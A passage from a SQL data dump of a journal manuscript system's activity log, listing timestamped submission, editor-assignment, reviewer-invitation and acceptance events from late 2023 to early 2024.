has been Assigned Editor',14381,'Publisher',85),(131751,'2023-12-27 14:35:45','Editor has Accepted to review Manuscript',14381,'Editor',1408),(131752,'2023-12-27 14:36:18','Editor has been Editor Decision Accepted article',14381,'Editor',1408),(131753,'2023-12-27 14:45:44','Publisher: Accept Notification has been sent to Author',14381,'Publisher',85),(131754,'2023-12-27 17:10:09','Editor has Accepted to review Manuscript',14205,'Editor',1784),(131755,'2023-12-27 17:10:25','Editor has been Editor Decision Accepted article',14205,'Editor',1784),(131756,'2023-12-27 17:13:32','Publisher has been Accepted Articles  article',14205,'Publisher',972),(131757,'2023-12-27 17:32:18','Publisher has been Accepted Articles  article',14381,'Publisher',85),(131758,'2023-12-29 10:52:43','Manuscript Submitted by Author using Submission form',14385,'Author',14435),(131759,'2023-12-29 14:24:48','Manuscript Submitted by Author using Submission form',14386,'Author',14436),(131760,'2023-12-29 17:37:02','Manuscript Updated',14355,'',1045),(131761,'2023-12-29 17:37:35','Publisher has been Accepted Articles  article',14355,'',1045),(131762,'2023-12-29 17:40:02','Editor has Accepted to review Manuscript',14195,'Editor',222),(131763,'2023-12-29 17:40:14','Editor has been Editor Decision Accepted article',14195,'Editor',222),(131764,'2023-12-29 17:42:00','Editor has been 2 article',14195,'Publisher',84),(131765,'2023-12-29 17:42:33','Editor has Accepted to review Manuscript',14193,'Publisher',222),(131766,'2023-12-29 17:43:06','Editor has been Editor Decision Accepted article',14193,'Editor',222),(131767,'2023-12-29 17:54:06','Editor has been 2 article',14193,'Editor',84),(131768,'2023-12-29 17:54:09','Editor has been 2 article',14193,'Editor',84),(131769,'2023-12-29 17:54:27','Manuscript Updated',14357,'',1045),(131770,'2023-12-29 17:54:58','Publisher has been Accepted Articles  article',14357,'',1045),(131771,'2023-12-30 09:36:14','Editor has Accepted to review Manuscript',14190,'Editor',222),(131772,'2023-12-30 09:36:28','Editor has been Editor Decision Accepted article',14190,'Editor',222),(131773,'2023-12-30 09:37:31','Editor has been 2 article',14190,'Publisher',84),(131774,'2023-12-30 09:37:52','Editor has Accepted to review Manuscript',14189,'Publisher',222),(131775,'2023-12-30 09:38:32','Editor has been Editor Decision Accepted article',14189,'Editor',222),(131776,'2023-12-30 09:40:33','Editor has been 2 article',14189,'Publisher',84),(131777,'2023-12-30 09:43:15','Publisher has been Assigned Editor',14382,'Publisher',48),(131778,'2023-12-30 09:44:22','Editor has Accepted to review Manuscript',14188,'Editor',222),(131779,'2023-12-30 09:44:34','Editor has been Editor Decision Accepted article',14188,'Editor',222),(131780,'2023-12-30 09:46:31','Editor has been 2 article',14188,'Publisher',84),(131781,'2023-12-30 09:47:09','Editor has Accepted to review Manuscript',14187,'Editor',222),(131782,'2023-12-30 09:47:23','Editor has been Editor Decision Accepted article',14187,'Editor',222),(131783,'2023-12-30 09:49:21','Editor has been 2 article',14187,'Publisher',84),(131784,'2023-12-30 09:50:17','Editor has Accepted to review Manuscript',14155,'Editor',222),(131785,'2023-12-30 09:50:31','Editor has been Editor Decision Accepted article',14155,'Editor',222),(131786,'2023-12-30 09:51:54','Editor has been 2 article',14155,'Publisher',84),(131787,'2023-12-30 09:52:56','Editor has Accepted to review Manuscript',14192,'Editor',221),(131788,'2023-12-30 09:53:21','Editor has been Editor Decision Accepted article',14192,'Editor',221),(131789,'2023-12-30 09:54:15','Editor has been 2 article',14192,'Publisher',84),(131790,'2023-12-30 09:56:27','Editor has Accepted to review Manuscript',14191,'Publisher',221),(131791,'2023-12-30 09:57:48','Editor has been Editor Decision Accepted article',14191,'Publisher',221),(131792,'2023-12-30 09:58:20','Editor has been 2 article',14191,'Publisher',84),(131793,'2023-12-30 09:59:21','Editor has Accepted to review Manuscript',14185,'Publisher',221),(131794,'2023-12-30 09:59:42','Editor has been Editor Decision Accepted article',14185,'Editor',221),(131795,'2023-12-30 10:01:52','Editor has been 2 article',14185,'Publisher',84),(131796,'2023-12-30 10:58:20','Publisher has been Accepted Articles  article',14334,'Publisher',85),(131797,'2023-12-30 10:58:24','Publisher has been Accepted Articles  article',14334,'Publisher',85),(131798,'2023-12-30 11:57:20','Publisher has been Assigned Editor',14385,'Publisher',48),(131799,'2023-12-31 13:44:05','Manuscript Submitted by Author using Submission form',14387,'Author',14437),(131800,'2023-12-31 14:13:50','Manuscript Submitted by Author',14388,'Author',14437),(131801,'2024-01-02 10:02:43','Editor has Accepted to review Manuscript',14297,'Editor',1749),(131802,'2024-01-02 10:03:25','Editor has been Editor Decision Accepted article',14297,'Editor',1749),(131803,'2024-01-02 10:05:20','Publisher has been Accepted Articles  article',14297,'Publisher',1009),(131804,'2024-01-02 10:08:25','Editor has Accepted to review Manuscript',14298,'Editor',1793),(131805,'2024-01-02 10:09:09','Editor has been Editor Decision Accepted article',14298,'Editor',1793),(131806,'2024-01-02 10:09:49','Editor has been Editor Decision Accepted article',14298,'Editor',1793),(131807,'2024-01-02 10:11:20','Publisher has been Accepted Articles  article',14298,'Publisher',1009),(131808,'2024-01-02 10:16:24','Editor has Accepted to review Manuscript',14299,'Editor',1792),(131809,'2024-01-02 10:16:34','Editor has been Editor Decision Accepted article',14299,'Editor',1792),(131810,'2024-01-02 10:17:39','Publisher has been Accepted Articles  article',14299,'Publisher',1009),(131811,'2024-01-02 10:19:08','Editor has Accepted to review Manuscript',14300,'Editor',1794),(131812,'2024-01-02 10:19:19','Editor has been Editor Decision Accepted article',14300,'Editor',1794),(131813,'2024-01-02 10:20:14','Publisher has been Accepted Articles  article',14300,'Publisher',1009),(131814,'2024-01-02 10:21:31','Editor has Accepted to review Manuscript',14301,'Editor',1750),(131815,'2024-01-02 10:21:51','Editor has been Editor Decision Accepted article',14301,'Editor',1750),(131816,'2024-01-02 10:23:34','Publisher has been Accepted Articles  article',14301,'Publisher',1009),(131817,'2024-01-02 10:24:46','Editor has Accepted to review Manuscript',14302,'Editor',1750),(131818,'2024-01-02 10:24:58','Editor has been Editor Decision Accepted article',14302,'Editor',1750),(131819,'2024-01-02 10:26:02','Publisher has been Accepted Articles  article',14302,'Publisher',1009),(131820,'2024-01-02 10:27:52','Editor has Accepted to review Manuscript',14303,'Editor',1792),(131821,'2024-01-02 10:28:04','Editor has been Editor Decision Accepted article',14303,'Editor',1792),(131822,'2024-01-02 10:28:52','Publisher has been Accepted Articles  article',14303,'Publisher',1009),(131823,'2024-01-02 10:31:14','Editor has Accepted to review Manuscript',14304,'Editor',1793),(131824,'2024-01-02 10:31:41','Editor has been Editor Decision Accepted article',14304,'Editor',1793),(131825,'2024-01-02 10:32:51','Publisher has been Accepted Articles  article',14304,'Publisher',1009),(131826,'2024-01-02 10:34:39','Editor has Accepted to review Manuscript',14305,'Editor',1749),(131827,'2024-01-02 10:34:53','Editor has been Editor Decision Accepted article',14305,'Editor',1749),(131828,'2024-01-02 10:35:44','Publisher has been Accepted Articles  article',14305,'Publisher',1009),(131829,'2024-01-02 10:37:26','Editor has Accepted to review Manuscript',14306,'Editor',1794),(131830,'2024-01-02 10:37:38','Editor has been Editor Decision Accepted article',14306,'Editor',1794),(131831,'2024-01-02 10:38:43','Publisher has been Accepted Articles  article',14306,'Publisher',1009),(131832,'2024-01-02 11:13:43','Publisher has been Accepted Articles  article',14368,'Publisher',319),(131833,'2024-01-02 11:14:26','Publisher has been Accepted Articles  article',14353,'Publisher',319),(131834,'2024-01-02 11:14:29','Publisher has been Accepted Articles  article',14353,'Publisher',319),(131835,'2024-01-02 11:15:23','Publisher has been Accepted Articles  article',14352,'Publisher',319),(131836,'2024-01-02 11:15:55','Publisher has been Accepted Articles  article',14351,'Publisher',319),(131837,'2024-01-02 11:16:27','Publisher has been Accepted Articles  article',14350,'Publisher',319),(131838,'2024-01-02 11:17:12','Publisher has been Accepted Articles  article',14349,'Publisher',319),(131839,'2024-01-02 11:40:51','Publisher has been Accepted Articles  article',14348,'Publisher',319),(131840,'2024-01-02 11:41:23','Publisher has been Accepted Articles  article',14347,'Publisher',319),(131841,'2024-01-02 11:41:54','Publisher has been Accepted Articles  article',14346,'Publisher',319),(131842,'2024-01-02 11:42:28','Publisher has been Accepted Articles  article',14345,'Publisher',319),(131843,'2024-01-02 17:07:59','Manuscript Submitted by Publisher',14389,'Publisher',972),(131844,'2024-01-02 17:11:26','Manuscript Submitted by Publisher',14390,'Publisher',972),(131845,'2024-01-02 17:14:44','Manuscript Submitted by Publisher',14391,'Publisher',972),(131846,'2024-01-02 17:19:20','Manuscript Submitted by Publisher',14392,'Publisher',972),(131847,'2024-01-02 17:22:38','Manuscript Submitted by Publisher',14393,'Publisher',972),(131848,'2024-01-02 17:26:14','Manuscript Submitted by Publisher',14394,'Publisher',972),(131849,'2024-01-02 17:28:26','Manuscript Submitted by Publisher',14395,'Publisher',972),(131850,'2024-01-02 17:31:07','Manuscript Submitted by Publisher',14396,'Publisher',972),(131851,'2024-01-02 17:34:02','Manuscript Submitted by Publisher',14397,'Publisher',972),(131852,'2024-01-02 17:36:21','Manuscript Submitted by Publisher',14398,'Publisher',972),(131853,'2024-01-03 10:33:02','Publisher has been Assigned Editor',14386,'Publisher',48),(131854,'2024-01-03 10:38:23','Publisher has Invited Reviewer',14382,'Publisher',48),(131855,'2024-01-03 10:38:28','Publisher has Invited Reviewer',14382,'Publisher',48),(131856,'2024-01-03 10:39:16','Publisher has Invited Reviewer',14385,'Publisher',48),(131857,'2024-01-03 10:39:21','Publisher has Invited Reviewer',14385,'Publisher',48),(131858,'2024-01-03 10:39:27','Publisher has Invited Reviewer',14385,'Publisher',48),(131859,'2024-01-03 10:40:49','Publisher has Invited Reviewer',14359,'Publisher',48),(131860,'2024-01-03 10:40:54','Publisher has Invited Reviewer',14359,'Publisher',48),(131861,'2024-01-03 10:41:00','Publisher has Invited Reviewer',14359,'Publisher',48),(131862,'2024-01-03 10:41:33','Publisher has Invited Reviewer',14386,'Publisher',48),(131863,'2024-01-03 10:41:39','Publisher has Invited Reviewer',14386,'Publisher',48),(131864,'2024-01-03 10:41:44','Publisher has Invited Reviewer',14386,'Publisher',48),(131865,'2024-01-03 11:41:27','Editor has been Editor Decision Accepted article',13960,'Editor',1452),(131866,'2024-01-03 11:42:24','Publisher has been Accepted Articles  article',13960,'Publisher',376),(131867,'2024-01-03 11:43:16','Editor has Accepted to review Manuscript',14285,'Editor',1705),(131868,'2024-01-03 11:43:42','Editor has been Editor Decision Accepted article',14285,'Editor',1705),(131869,'2024-01-03 11:44:17','Publisher has been Accepted Articles  article',14285,'Publisher',376),(131870,'2024-01-03 11:46:35','Editor has Accepted to review Manuscript',14311,'Editor',1781),(131871,'2024-01-03 11:46:50','Editor has Accepted to review Manuscript',14312,'Editor',1781),(131872,'2024-01-03 11:47:50','Editor has been Editor Decision Accepted article',14311,'Editor',1781),(131873,'2024-01-03 11:48:13','Editor has been Editor Decision Accepted article',14312,'Editor',1781),(131874,'2024-01-03 11:49:04','Publisher has been Accepted Articles  article',14311,'Publisher',376),(131875,'2024-01-03 11:49:30','Publisher has been Accepted Articles  article',14312,'Publisher',376),(131876,'2024-01-03 11:50:17','Editor has Accepted to review Manuscript',14313,'Editor',1452),(131877,'2024-01-03 11:50:35','Editor has been Editor Decision Accepted article',14313,'Editor',1452),(131878,'2024-01-03 11:50:42','Editor has Accepted to review Manuscript',14314,'Editor',1452),(131879,'2024-01-03 11:51:03','Editor has been Editor Decision Accepted article',14314,'Editor',1452),(131880,'2024-01-03 11:51:09','Editor has Accepted to review Manuscript',14316,'Editor',1452),(131881,'2024-01-03 11:51:27','Editor has been Editor Decision Accepted article',14316,'Editor',1452),(131882,'2024-01-03 11:52:58','Publisher has been Accepted Articles  article',14313,'Publisher',376),(131883,'2024-01-03 11:53:34','Publisher has been Accepted Articles  article',14314,'Publisher',376),(131884,'2024-01-03 11:54:30','Editor has Accepted to review Manuscript',14315,'Editor',1011),(131885,'2024-01-03 11:54:52','Editor has been Editor Decision Accepted article',14315,'Editor',1011),(131886,'2024-01-03 11:54:58','Editor has Accepted to review Manuscript',14343,'Editor',1011),(131887,'2024-01-03 11:55:13','Editor has been Editor Decision Accepted article',14343,'Editor',1011),(131888,'2024-01-03 11:56:54','Publisher has been Accepted Articles  article',14315,'Publisher',376),(131889,'2024-01-03 11:57:26','Publisher has been Accepted Articles  article',14316,'Publisher',376),(131890,'2024-01-03 11:58:00','Editor has Accepted to review Manuscript',14317,'Editor',1245),(131891,'2024-01-03 11:58:22','Editor has been Editor Decision Accepted article',14317,'Editor',1245),(131892,'2024-01-03 11:59:02','Editor has been Editor Decision Accepted article',14317,'Editor',1245),(131893,'2024-01-03 12:00:24','Publisher has been Accepted Articles  article',14317,'Publisher',376),(131894,'2024-01-03 12:10:01','Editor has Accepted to review Manuscript',14318,'Editor',1705),(131895,'2024-01-03 12:10:31','Editor has been Editor Decision Accepted article',14318,'Editor',1705),(131896,'2024-01-03 12:12:08','Publisher has been Accepted Articles  article',14318,'Publisher',376),(131897,'2024-01-03 12:12:52','Editor has Accepted to review Manuscript',14342,'Editor',1012),(131898,'2024-01-03 12:13:11','Editor has been Editor Decision Accepted article',14342,'Editor',1012),(131899,'2024-01-03 12:14:31','Publisher has been Accepted Articles  article',14342,'Publisher',376),(131900,'2024-01-03 12:14:59','Publisher has been Accepted Articles  article',14343,'Publisher',376),(131901,'2024-01-03 12:23:46','Editor has Accepted to review Manuscript',14333,'Editor',221),(131902,'2024-01-03 12:23:57','Editor has been Editor Decision Accepted article',14333,'Editor',221),(131903,'2024-01-03 12:24:25','Editor has Accepted to review Manuscript',14332,'Editor',221),(131904,'2024-01-03 12:24:53','Editor has been Editor Decision Accepted article',14332,'Editor',221),(131905,'2024-01-03 12:25:18','Editor has Accepted to review Manuscript',14152,'Editor',221),(131906,'2024-01-03 12:26:10','Editor has been Editor Decision Accepted article',14152,'Editor',221),(131907,'2024-01-03 12:26:49','Editor has Accepted to review Manuscript',14149,'Editor',221),(131908,'2024-01-03 12:27:04','Editor has been Editor Decision Accepted article',14149,'Editor',221),(131909,'2024-01-03 12:27:46','Editor has Accepted to review Manuscript',14148,'Editor',221),(131910,'2024-01-03 12:29:00','Editor has been Editor Decision Accepted article',14148,'Editor',221),(131911,'2024-01-03 12:29:19','Editor has Accepted to review Manuscript',14144,'Editor',221),(131912,'2024-01-03 12:29:40','Editor has been Editor Decision Accepted article',14144,'Editor',221),(131913,'2024-01-03 12:37:58','Manuscript Submitted by Author using Submission form',14399,'Author',14448),(131914,'2024-01-03 12:39:59','Editor has been Editor Decision Accepted article',14144,'Editor',221),(131915,'2024-01-03 12:50:58','Editor has Accepted to review Manuscript',14142,'Editor',221),(131916,'2024-01-03 12:51:54','Editor has been Editor Decision Accepted article',14142,'Editor',221),(131917,'2024-01-03 12:53:56','Editor has Accepted to review Manuscript',14153,'Editor',222),(131918,'2024-01-03 12:54:20','Editor has been Editor Decision Accepted article',14153,'Editor',222),(131919,'2024-01-03 12:54:45','Editor has Accepted to review Manuscript',14146,'Editor',222),(131920,'2024-01-03 12:55:03','Editor has been Editor Decision Accepted article',14146,'Editor',222),(131921,'2024-01-03 12:55:39','Editor has Accepted to review Manuscript',14136,'Editor',222),(131922,'2024-01-03 12:56:09','Editor has been Editor Decision Accepted article',14136,'Editor',222),(131923,'2024-01-03 12:56:39','Editor has Accepted to review Manuscript',13952,'Editor',222),(131924,'2024-01-03 12:57:40','Editor has been Editor Decision Accepted article',13952,'Editor',222),(131925,'2024-01-03 14:02:06','Editor has Accepted to review Manuscript',14359,'Editor',190),(131926,'2024-01-03 14:02:18','Editor has been Editor Decision Accepted article',14359,'Editor',190),(131927,'2024-01-03 14:07:37','Reviewer has submitted comments',14359,'Reviewer',11687),(131928,'2024-01-03 14:08:50','Publisher has been Accepted Articles  article',14359,'Publisher',48),(131929,'2024-01-03 14:12:00','Publisher has been Accepted Articles  article',14153,'Publisher',84),(131930,'2024-01-03 14:14:34','Publisher has been Accepted Articles  article',14152,'Publisher',84),(131931,'2024-01-03 14:20:00','Publisher has been Accepted Articles  article',14149,'Publisher',84),(131932,'2024-01-03 14:22:08','Publisher has been Accepted Articles  article',14148,'Publisher',84),(131933,'2024-01-03 14:31:03','Publisher has been Accepted Articles  article',14146,'Publisher',84),(131934,'2024-01-03 14:32:37','Publisher has been Accepted Articles  article',14144,'Publisher',84),(131935,'2024-01-03 14:34:39','Publisher has been Accepted Articles  article',14142,'Publisher',84),(131936,'2024-01-03 14:36:41','Publisher has been Accepted Articles  article',14136,'Publisher',84),(131937,'2024-01-03 14:39:43','Publisher has been Accepted Articles  article',14332,'Publisher',84),(131938,'2024-01-03 14:41:55','Publisher has been Accepted Articles  article',14333,'Publisher',84),(131939,'2024-01-03 14:43:17','Manuscript Submitted by Publisher',14400,'',1212),(131940,'2024-01-03 15:48:01','Editor has Accepted to review Manuscript',14382,'Editor',194),(131941,'2024-01-03 15:48:16','Editor has been Editor Decision Accepted article',14382,'Editor',194),(131942,'2024-01-03 15:50:28','Reviewer has submitted comments',14382,'Reviewer',14685),(131943,'2024-01-03 15:51:16','Manuscript Updated',14382,'Publisher',48),(131944,'2024-01-03 15:51:37','Publisher has been Accepted Articles  article',14382,'Publisher',48),(131945,'2024-01-03 17:33:26','Manuscript Submitted by Publisher',14401,'Publisher',48),(131946,'2024-01-04 09:59:00','Manuscript Submitted by Publisher',14402,'',1050),(131947,'2024-01-04 10:37:16','Editor has been Editor Decision Accepted article',14314,'Editor',1452),(131948,'2024-01-04 12:07:42','Manuscript Submitted by Publisher',14403,'Publisher',274),(131949,'2024-01-04 12:08:39','Manuscript Submitted by Publisher',14404,'Publisher',274),(131950,'2024-01-04 12:09:58','Manuscript Submitted by Publisher',14405,'Publisher',274),(131951,'2024-01-04 12:10:58','Manuscript Submitted by Publisher',14406,'Publisher',274),(131952,'2024-01-04 12:12:26','Manuscript Submitted by Publisher',14407,'Publisher',274),(131953,'2024-01-05 13:16:27','Manuscript Submitted by Publisher',14408,'',1050),(131954,'2024-01-05 13:20:14','Publisher has been Assigned Editor',14399,'Publisher',48),(131955,'2024-01-05 14:31:29','Editor has Accepted to review Manuscript',14378,'Editor',634),(131956,'2024-01-05 14:32:06','Editor has been Editor Decision Accepted article',14378,'Editor',634),(131957,'2024-01-05 14:34:21','Editor has Accepted to review Manuscript',14377,'Editor',633),(131958,'2024-01-05 14:34:51','Editor has been Editor Decision Accepted article',14377,'Editor',633),(131959,'2024-01-05 14:35:17','Editor has Accepted to review Manuscript',14374,'Editor',633),(131960,'2024-01-05 14:35:53','Editor has been Editor Decision Accepted article',14374,'Editor',633),(131961,'2024-01-05 14:36:09','Editor has Accepted to review Manuscript',14371,'Editor',633),(131962,'2024-01-05 14:36:33','Editor has been Editor Decision Accepted article',14371,'Editor',633),(131963,'2024-01-05 14:38:16','Editor has Accepted to review Manuscript',14376,'Editor',634),(131964,'2024-01-05 14:38:59','Editor has been Editor Decision Accepted article',14376,'Editor',634),(131965,'2024-01-05 14:39:08','Editor has Accepted to review Manuscript',14373,'Editor',634),(131966,'2024-01-05 14:39:22','Editor has been Editor Decision Accepted article',14373,'Editor',634),(131967,'2024-01-05 14:39:33','Editor has Accepted to review Manuscript',14369,'Editor',634),(131968,'2024-01-05 14:39:45','Editor has been Editor Decision Accepted article',14369,'Editor',634),(131969,'2024-01-05 14:41:26','Editor has Accepted to review Manuscript',14375,'Editor',1708),(131970,'2024-01-05 14:41:58','Editor has been Editor Decision Accepted article',14375,'Editor',1708),(131971,'2024-01-05 14:42:09','Editor has Accepted to review Manuscript',14372,'Editor',1708),(131972,'2024-01-05 14:42:18','Editor has been Editor Decision Accepted article',14372,'Editor',1708),(131973,'2024-01-05 14:42:27','Editor has Accepted to review Manuscript',14370,'Editor',1708),(131974,'2024-01-05 14:42:42','Editor has been Editor Decision Accepted article',14370,'Editor',1708),(131975,'2024-01-05 14:43:00','Editor has been Editor Decision Accepted article',14370,'Editor',1708),(131976,'2024-01-05 14:46:25','Publisher has been Accepted Articles  article',14369,'Publisher',645),(131977,'2024-01-05 14:46:55','Publisher has been Accepted Articles  article',14370,'Publisher',645),(131978,'2024-01-05 14:50:58','Publisher has been Accepted Articles  article',14371,'Publisher',645),(131979,'2024-01-05 14:51:33','Publisher has been Accepted Articles  article',14372,'Publisher',645),(131980,'2024-01-05 14:53:26','Publisher has been Accepted Articles  article',14373,'Publisher',645),(131981,'2024-01-05 14:53:59','Publisher has been Accepted Articles  article',14374,'Publisher',645),(131982,'2024-01-05 14:54:29','Publisher has been Accepted Articles  article',14375,'Publisher',645),(131983,'2024-01-05 14:55:11','Publisher has been Accepted Articles  article',14376,'Publisher',645),(131984,'2024-01-05 14:55:54','Publisher has been Accepted Articles  article',14377,'Publisher',645),(131985,'2024-01-05 14:56:40','Publisher has been Accepted Articles  article',14378,'Publisher',645),(131986,'2024-01-05 15:13:29','Manuscript Submitted by Publisher',14409,'Publisher',1009),(131987,'2024-01-05 15:16:06','Manuscript Submitted by Publisher',14410,'Publisher',1009),(131988,'2024-01-05 15:20:56','Manuscript Submitted by Publisher',14411,'Publisher',1009),(131989,'2024-01-05 15:29:49','Manuscript Submitted by Publisher',14412,'Publisher',1009),(131990,'2024-01-05 15:40:40','Manuscript Submitted by Publisher',14413,'Publisher',1009),(131991,'2024-01-05 15:42:46','Editor has Accepted to review Manuscript',14321,'Editor',1779),(131992,'2024-01-05 15:43:12','Editor has been Editor Decision Accepted article',14321,'Editor',1779),(131993,'2024-01-05 15:43:25','Editor has Accepted to review Manuscript',14325,'Editor',1779),(131994,'2024-01-05 15:43:57','Editor has been Editor Decision Accepted article',14325,'Editor',1779),(131995,'2024-01-05 15:44:02','Manuscript Submitted by Publisher',14414,'Publisher',1009),(131996,'2024-01-05 15:44:46','Editor has Accepted to review Manuscript',14323,'Editor',1783),(131997,'2024-01-05 15:45:07','Editor has been Editor Decision Accepted article',14226,'Editor',1783),(131998,'2024-01-05 15:45:13','Editor has Accepted to review Manuscript',14324,'Editor',1783),(131999,'2024-01-05 15:45:49','Editor has been Editor Decision Accepted article',14324,'Editor',1783),(132000,'2024-01-05 15:45:56','Editor has Accepted to review Manuscript',14326,'Editor',1783),(132001,'2024-01-05 15:46:19','Editor has been Editor Decision Accepted article',14323,'Editor',1783),(132002,'2024-01-05 15:46:30','Editor has been Editor Decision Accepted article',14326,'Editor',1783),(132003,'2024-01-05 15:46:40','Editor has Accepted to review Manuscript',14329,'Editor',1783),(132004,'2024-01-05 15:46:56','Editor has been Editor Decision Accepted article',14329,'Editor',1783),(132005,'2024-01-05 15:48:21','Editor has Accepted to review Manuscript',14322,'Editor',1410),(132006,'2024-01-05 15:48:48','Editor has been Editor Decision Accepted article',14322,'Editor',1410),(132007,'2024-01-05 15:49:20','Editor has Accepted to review Manuscript',14327,'Editor',1410),(132008,'2024-01-05 15:49:30','Editor has been Editor Decision Accepted article',14327,'Editor',1410),(132009,'2024-01-05 15:49:45','Editor has Accepted to review Manuscript',14328,'Editor',1410),(132010,'2024-01-05 15:49:53','Editor has been Editor Decision Accepted article',14328,'Editor',1410),(132011,'2024-01-05 15:50:52','Editor has Accepted to review Manuscript',14330,'Editor',1410),(132012,'2024-01-05 15:51:11','Editor has been Editor Decision Accepted article',14330,'Editor',1410),(132013,'2024-01-05 15:52:40','Publisher has been Accepted Articles  article',14321,'Publisher',988),(132014,'2024-01-05 16:50:30','Publisher has been Accepted Articles  article',14323,'Publisher',988),(132015,'2024-01-05 16:50:54','Publisher has been Accepted Articles  article',14322,'Publisher',988),(132016,'2024-01-05 16:51:25','Publisher has been Accepted Articles  article',14324,'Publisher',988),(132017,'2024-01-05 16:51:48','Publisher has been Accepted Articles  article',14325,'Publisher',988),(132018,'2024-01-06 12:54:04','Publisher has been Assigned Editor',14408,'',1050),(132019,'2024-01-06 21:46:14','Manuscript Submitted by Author using Submission form',14417,'Author',14465),(132020,'2024-01-08 09:47:14','Manuscript Submitted by Publisher',14418,'Publisher',972),(132021,'2024-01-08 09:51:09','Manuscript Submitted by Publisher',14419,'Publisher',972),(132022,'2024-01-08 09:54:23','Manuscript Submitted by Publisher',14420,'Publisher',972),(132023,'2024-01-08 09:57:55','Publisher has been Accepted Articles  article',14226,'Publisher',988),(132024,'2024-01-08 09:58:08','Manuscript Submitted by Publisher',14421,'Publisher',972),(132025,'2024-01-08 09:58:42','Publisher has been Accepted Articles  article',14326,'Publisher',988),(132026,'2024-01-08 09:59:15','Publisher has been Accepted Articles  article',14327,'Publisher',988),(132027,'2024-01-08 10:00:44','Publisher has been Accepted Articles  article',14328,'Publisher',988),(132028,'2024-01-08 10:01:32','Publisher has been Accepted Articles  article',14329,'Publisher',988),(132029,'2024-01-08 10:02:16','Publisher has been Accepted Articles  article',14330,'Publisher',988),(132030,'2024-01-08 10:03:31','Manuscript Submitted by Publisher',14422,'Publisher',972),(132031,'2024-01-08 10:03:44','Manuscript Submitted by Publisher',14423,'',1045),(132032,'2024-01-08 10:05:30','Manuscript Submitted by Publisher',14424,'',1045),(132033,'2024-01-08 10:07:31','Manuscript Submitted by Publisher',14425,'',1045),(132034,'2024-01-08 10:07:59','Publisher has been Assigned Editor',14409,'Publisher',1009),(132035,'2024-01-08 10:08:17','Publisher has been Assigned Editor',14410,'Publisher',1009),(132036,'2024-01-08 10:08:38','Publisher has been Assigned Editor',14415,'Publisher',1009),(132037,'2024-01-08 10:09:01','Publisher has been Assigned Editor',14412,'Publisher',1009),(132038,'2024-01-08 10:09:32','Publisher has been Assigned Editor',14413,'Publisher',1009),(132039,'2024-01-08 10:09:52','Publisher has been Assigned Editor',14414,'Publisher',1009),(132040,'2024-01-08 10:10:18','Publisher has been Assigned Editor',14411,'Publisher',1009),(132041,'2024-01-08 10:12:15','Manuscript Submitted by Publisher',14427,'Publisher',972),(132042,'2024-01-08 10:12:37','Manuscript Submitted by Publisher',14428,'Publisher',1009),(132043,'2024-01-08 10:14:07','Manuscript Submitted by Publisher',14429,'Publisher',1009),(132044,'2024-01-08 10:15:37','Manuscript Submitted by Publisher',14431,'Publisher',1009),(132045,'2024-01-08 10:18:50','Manuscript Submitted by Publisher',14432,'Publisher',972),(132046,'2024-01-08 10:26:14','Manuscript Submitted by Publisher',14433,'Publisher',972),(132047,'2024-01-08 10:35:24','Manuscript Submitted by Publisher',14434,'Publisher',972),(132048,'2024-01-08 11:31:13','Publisher has Invited Reviewer',14399,'Publisher',48),(132049,'2024-01-08 11:31:17','Publisher has Invited Reviewer',14399,'Publisher',48),(132050,'2024-01-08 11:31:22','Publisher has Invited Reviewer',14399,'Publisher',48),(132051,'2024-01-08 11:32:15','Publisher has Invited Reviewer',14401,'Publisher',48),(132052,'2024-01-08 11:32:20','Publisher has Invited Reviewer',14401,'Publisher',48),(132053,'2024-01-08 11:32:25','Publisher has Invited Reviewer',14401,'Publisher',48),(132054,'2024-01-08 12:09:08','Manuscript Submitted by Publisher',14435,'Publisher',248),(132055,'2024-01-08 12:11:52','Manuscript Submitted by Publisher',14436,'Publisher',248),(132056,'2024-01-08 12:13:53','Manuscript Submitted by Publisher',14437,'Publisher',248),(132057,'2024-01-08 12:15:43','Manuscript Submitted by Publisher',14438,'Publisher',248),(132058,'2024-01-08 12:17:15','Manuscript Submitted by Publisher',14439,'Publisher',248),(132059,'2024-01-08 12:18:32','Manuscript Submitted by Publisher',14440,'Publisher',248),(132060,'2024-01-08 12:21:40','Manuscript Submitted by Publisher',14442,'Publisher',248),(132061,'2024-01-08 12:23:37','Manuscript Submitted by Publisher',14443,'Publisher',248),(132062,'2024-01-08 12:24:55','Manuscript Submitted by Publisher',14444,'Publisher',248),(132063,'2024-01-08 14:53:48','Reviewer has submitted comments',14385,'Reviewer',12532),(132064,'2024-01-08 14:55:27','Editor has Accepted to review Manuscript',14385,'Editor',194),(132065,'2024-01-08 14:55:45','Editor has been Editor Decision Accepted article',14385,'Editor',194),(132066,'2024-01-08 14:55:48','Editor has been Editor Decision Accepted article',14385,'Editor',194),(132067,'2024-01-08 14:55:55','Editor has been Editor Decision Accepted article',14385,'Editor',194),(132068,'2024-01-08 14:59:28','Publisher has been Accepted Articles  article',14385,'Publisher',48),(132069,'2024-01-09 09:52:28','Publisher has been Assigned Editor',14431,'Publisher',1009),(132070,'2024-01-09 09:52:45','Publisher has been Assigned Editor',14428,'Publisher',1009),(132071,'2024-01-09 09:53:00','Publisher has been Assigned Editor',14429,'Publisher',1009),(132072,'2024-01-09 12:24:40','Publisher has been Assigned Editor',14423,'',1045),(132073,'2024-01-09 12:24:57','Publisher has been Assigned Editor',14424,'',1045),(132074,'2024-01-09 12:25:20','Publisher has been Assigned Editor',14425,'',1045),(132075,'2024-01-09 12:25:34','Publisher has been Assigned Editor',14426,'',1045),(132076,'2024-01-09 15:05:17','Publisher has been Assigned Editor',14272,'Publisher',248),(132077,'2024-01-09 15:05:40','Publisher has been Assigned Editor',14271,'Publisher',248),(132078,'2024-01-09 15:06:10','Publisher has been Assigned Editor',14270,'Publisher',248),(132079,'2024-01-09 15:06:44','Publisher has been Assigned Editor',14435,'Publisher',248),(132080,'2024-01-09 15:07:29','Publisher has been Assigned Editor',14436,'Publisher',248),(132081,'2024-01-09 15:13:27','Publisher has been Assigned Editor',14437,'Publisher',248),(132082,'2024-01-09 15:13:52','Manuscript Submitted by Publisher',14445,'Publisher',84),(132083,'2024-01-09 15:14:16','Publisher has been Assigned Editor',14438,'Publisher',248),(132084,'2024-01-09 15:14:34','Publisher has been Assigned Editor',14439,'Publisher',248),(132085,'2024-01-09 15:15:25','Publisher has been Assigned Editor',14440,'Publisher',248),(132086,'2024-01-09 15:16:10','Publisher has been Assigned Editor',14441,'Publisher',248),(132087,'2024-01-09 15:18:19','Manuscript Submitted by Publisher',14446,'Publisher',84),(132088,'2024-01-09 15:31:07','Manuscript Submitted by 